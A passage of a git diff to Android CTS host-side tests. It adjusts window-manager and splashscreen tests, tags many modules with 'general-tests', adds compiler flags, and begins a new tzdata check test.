+                final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+                        activityName, logSeparator);
+                return lifecycleCounts.mConfigurationChangedCount == 1 &&
+                        lifecycleCounts.mPictureInPictureModeChangedCount == 1 &&
+                        lifecycleCounts.mMultiWindowModeChangedCount == 1;
+            } catch (Exception e) {
+                return false;
+            }
+        }, "Waiting for picture-in-picture activity callbacks...");
+    }
+
+    /**
      * @return the window state for the given {@param activity}'s window.
      */
     private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
index ed7f383..62704fb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
@@ -31,49 +31,30 @@
         mAmWmState.waitForAppTransitionIdle(mDevice);
         mAmWmState.getWmState().getStableBounds();
         final BufferedImage image = takeScreenshot();
-
-        // Use ratios to flexibly accomodate circular or not quite rectangular displays
-        // Note: Color.BLACK is the pixel color outside of the display region
-        assertColors(image, mAmWmState.getWmState().getStableBounds(),
-            Color.RED.getRGB(), 0.50f, Color.BLACK.getRGB(), 0.01f);
+        assertAllColor(image, mAmWmState.getWmState().getStableBounds(), Color.RED.getRGB());
     }
 
-    private void assertColors(BufferedImage img, Rectangle bounds, int primaryColor,
-        float expectedPrimaryRatio, int secondaryColor, float acceptableWrongRatio) {
-
-        int primaryPixels = 0;
-        int secondaryPixels = 0;
+    private void assertAllColor(BufferedImage img, Rectangle bounds, int expectedColor) {
+        int correctPixels = 0;
         int wrongPixels = 0;
         for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
             for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
                 assertTrue(x < img.getWidth());
                 assertTrue(y < img.getHeight());
                 final int color = img.getRGB(x, y);
-                if (primaryColor == color) {
-                    primaryPixels++;
-                } else if (secondaryColor == color) {
-                    secondaryPixels++;
+                if (expectedColor == color) {
+                    correctPixels++;
                 } else {
                     wrongPixels++;
                 }
             }
         }
 
-        final int totalPixels = bounds.width * bounds.height;
-        final float primaryRatio = (float) primaryPixels / totalPixels;
-        if (primaryRatio < expectedPrimaryRatio) {
-            fail("Less than " + (expectedPrimaryRatio * 100.0f)
-                    + "% of pixels have non-primary color primaryPixels=" + primaryPixels
-                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
-        }
-
         // Some pixels might be covered by screen shape decorations, like rounded corners.
-        // On circular displays, there is an antialiased edge.
-        final float wrongRatio = (float) wrongPixels / totalPixels;
-        if (wrongRatio > acceptableWrongRatio) {
-            fail("More than " + (acceptableWrongRatio * 100.0f)
-                    + "% of pixels have wrong color primaryPixels=" + primaryPixels
-                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
+        final float ratio = (float) wrongPixels / (correctPixels + wrongPixels);
+        if (ratio > 0.01f) {
+            fail("More than 1% of pixels have wrong color correctPixels=" + correctPixels
+                    + " wrongPixels=" + wrongPixels);
         }
     }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index c841538..edcb201 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -562,17 +562,6 @@
         return output.startsWith("true");
     }
 
-    /**
-     * Rotation support is indicated by explicitly having both landscape and portrait
-     * features or not listing either at all.
-     */
-    protected boolean supportsRotation() throws DeviceNotAvailableException {
-        return (hasDeviceFeature("android.hardware.screen.landscape")
-                    && hasDeviceFeature("android.hardware.screen.portrait"))
-            || (!hasDeviceFeature("android.hardware.screen.landscape")
-                    && !hasDeviceFeature("android.hardware.screen.portrait"));
-    }
-
     protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
         if (mAvailableFeatures == null) {
             // TODO: Move this logic to ITestDevice.
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
index 79470c6..2ce16d8 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.server.cts
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
index a0f71dd..1bdeeb4 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
index 940f7a6..4a4c0c7 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestAppSdk25
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
index 1ec751c..4cd44ed 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
index 7dc512c..10fe386 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
index a42f8d0..2907241 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := 23
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
index e5aa610..7719315 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceWindowFramesTestApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
index c99f001..6fb5fbd 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
@@ -131,21 +131,20 @@
     //         });
     //    }
 
-    // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
-    // static final int oversizedDimension = 5000;
+    static final int oversizedDimension = 5000;
     // With FLAG_LAYOUT_NO_LIMITS  we should get the size we request, even if its much
     // larger than the screen.
-    // public void testOversizedDimensionsNoLimits() throws Exception {
-    // TODO(b/36890978): We only run this in fullscreen because of the
-    // unclear status of NO_LIMITS for non-child surfaces in MW modes
-    //     doFullscreenTest("OversizedDimensionsNoLimits",
-    //        (WindowState parent, WindowState dialog) -> {
-    //            Rectangle contentFrame = parent.getContentFrame();
-    //            Rectangle expectedFrame = new Rectangle(contentFrame.x, contentFrame.y,
-    //                    oversizedDimension, oversizedDimension);
-    //            assertEquals(expectedFrame, dialog.getFrame());
-    //        });
-    // }
+    public void testOversizedDimensionsNoLimits() throws Exception {
+        // TODO(b/36890978): We only run this in fullscreen because of the
+        // unclear status of NO_LIMITS for non-child surfaces in MW modes
+        doFullscreenTest("OversizedDimensionsNoLimits",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle contentFrame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(contentFrame.x, contentFrame.y,
+                        oversizedDimension, oversizedDimension);
+                assertEquals(expectedFrame, dialog.getFrame());
+            });
+    }
 
     // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
     // able to fit all of our content, so we should be adjusted to just fit the
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index 810fe64..3871c0d 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher1
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 3eb0cde..65a1a28 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher2
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index 0b072a5..ab0b4ce 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher3
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index a729fe8..179f2be 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher1
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index 12a0995..6376c86 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher2
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index 4232034..f59093b 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher3
 
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index 183531b..f48b4ce 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -19,7 +19,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutMultiuserTest
 
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index 11bfc2f..d9d7079 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -21,7 +21,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion1
 
@@ -52,7 +52,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion2
 
diff --git a/hostsidetests/shortcuts/hostside/Android.mk b/hostsidetests/shortcuts/hostside/Android.mk
index 830ec94..6eeb001 100644
--- a/hostsidetests/shortcuts/hostside/Android.mk
+++ b/hostsidetests/shortcuts/hostside/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index a9f06e4..3187415 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/sustainedperf/app/Android.mk b/hostsidetests/sustainedperf/app/Android.mk
index 41f61e4..473621a 100644
--- a/hostsidetests/sustainedperf/app/Android.mk
+++ b/hostsidetests/sustainedperf/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSustainedPerformanceDeviceTestApp
 
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index 4c6b53d..d86378e 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -9,10 +9,11 @@
 LOCAL_MODULE := dhry
 LOCAL_SRC_FILES := dhry_1.c dhry_2.c
 LOCAL_CFLAGS := -O3 -fno-inline-functions -DMSC_CLOCK -DCLK_TCK=1000000
+LOCAL_CFLAGS += -Wall -Werror -Wno-incompatible-library-redeclaration
 LOCAL_CFLAGS += -Wno-return-type -Wno-implicit-function-declaration -Wno-implicit-int
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/sustainedperf/dhrystone/dhry_1.c b/hostsidetests/sustainedperf/dhrystone/dhry_1.c
index c1198d1..3682052 100644
--- a/hostsidetests/sustainedperf/dhrystone/dhry_1.c
+++ b/hostsidetests/sustainedperf/dhrystone/dhry_1.c
@@ -28,7 +28,6 @@
 int             Arr_1_Glob [50];
 int             Arr_2_Glob [50] [50];
 
-extern char     *malloc ();
 Enumeration     Func_1 ();
   /* forward declaration necessary since Enumeration may not simply be int */
 
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
index 0c6c2a4..c9a5000 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
@@ -33,6 +33,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 include $(BUILD_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.mk
index 2859b30..79ab5fe 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.mk
@@ -25,6 +25,8 @@
                    hooks_android.cpp \

                    utils.cpp

 

+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-variable

+

 LOCAL_SDK_VERSION := 21

 LOCAL_NDK_STL_VARIANT := c++_static

 

diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
index d4305f5..a2bcf05 100644
--- a/hostsidetests/systemui/Android.mk
+++ b/hostsidetests/systemui/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/systemui/app/Android.mk b/hostsidetests/systemui/app/Android.mk
index ca987e7..6e45818 100644
--- a/hostsidetests/systemui/app/Android.mk
+++ b/hostsidetests/systemui/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSystemUiDeviceApp
 
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 7d1d18c..c79bd13 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index 5f6b11c..cb97bc0 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := 23
 
diff --git a/hostsidetests/theme/assets/26/400dpi.zip b/hostsidetests/theme/assets/26/400dpi.zip
deleted file mode 100755
index d624bd5..0000000
--- a/hostsidetests/theme/assets/26/400dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/OMR1 b/hostsidetests/theme/assets/OMR1
new file mode 120000
index 0000000..978b4e8
--- /dev/null
+++ b/hostsidetests/theme/assets/OMR1
@@ -0,0 +1 @@
+26
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/P b/hostsidetests/theme/assets/P
new file mode 120000
index 0000000..978b4e8
--- /dev/null
+++ b/hostsidetests/theme/assets/P
@@ -0,0 +1 @@
+26
\ No newline at end of file
diff --git a/hostsidetests/trustedvoice/Android.mk b/hostsidetests/trustedvoice/Android.mk
index d80f725..a0bc98b 100644
--- a/hostsidetests/trustedvoice/Android.mk
+++ b/hostsidetests/trustedvoice/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.trustedvoice
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/trustedvoice/app/Android.mk b/hostsidetests/trustedvoice/app/Android.mk
index 7a759d8..c9140e5 100644
--- a/hostsidetests/trustedvoice/app/Android.mk
+++ b/hostsidetests/trustedvoice/app/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsTrustedVoiceApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/tv/Android.mk b/hostsidetests/tv/Android.mk
index cb5e2bd..687252d 100644
--- a/hostsidetests/tv/Android.mk
+++ b/hostsidetests/tv/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.tv.hostsidetv
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index 454d352..c26a46a 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index 166baec..ef34420 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
new file mode 100644
index 0000000..3cee8b5
--- /dev/null
+++ b/hostsidetests/tzdata/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsHostTzDataTests
+
+LOCAL_JAVA_LIBRARIES := tradefed
+
+LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
+
+LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/tests/tests/transition/res/values/styles.xml b/hostsidetests/tzdata/AndroidTest.xml
similarity index 60%
copy from tests/tests/transition/res/values/styles.xml
copy to hostsidetests/tzdata/AndroidTest.xml
index 00303c9..1a2716e 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -5,16 +5,17 @@
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
 
-         http://www.apache.org/licenses/LICENSE-2.0
+          http://www.apache.org/licenses/LICENSE-2.0
 
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
      See the License for the specific language governing permissions and
      limitations under the License.
-     -->
-<resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss">
-    <item name="android:windowSwipeToDismiss">false</item>
-  </style>
-</resources>
+-->
+<configuration description="Config for CTS tzdatacheck host test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsHostTzDataTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
new file mode 100644
index 0000000..2e9707c
--- /dev/null
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -0,0 +1,977 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.tzdata;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.timezone.distro.DistroVersion;
+import com.android.timezone.distro.TimeZoneDistro;
+import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Comparator;
+import java.util.StringJoiner;
+import java.util.function.Consumer;
+import libcore.tzdata.testing.ZoneInfoTestHelper;
+
+import static org.junit.Assert.assertArrayEquals;
+
+/**
+ * Tests for the tzdatacheck binary.
+ *
+ * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
+ * time zone rules in the system image, and a "data directory" in the data partition which can
+ * optionally contain time zone rules data files for bionic/libcore and ICU.
+ *
+ * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
+ * simulated situations; simulated system and data directories in various states are created in a
+ * location the shell user has permission to access and the tzdatacheck binary is then executed.
+ * The status code and directory state after execution is then used to determine if the tzdatacheck
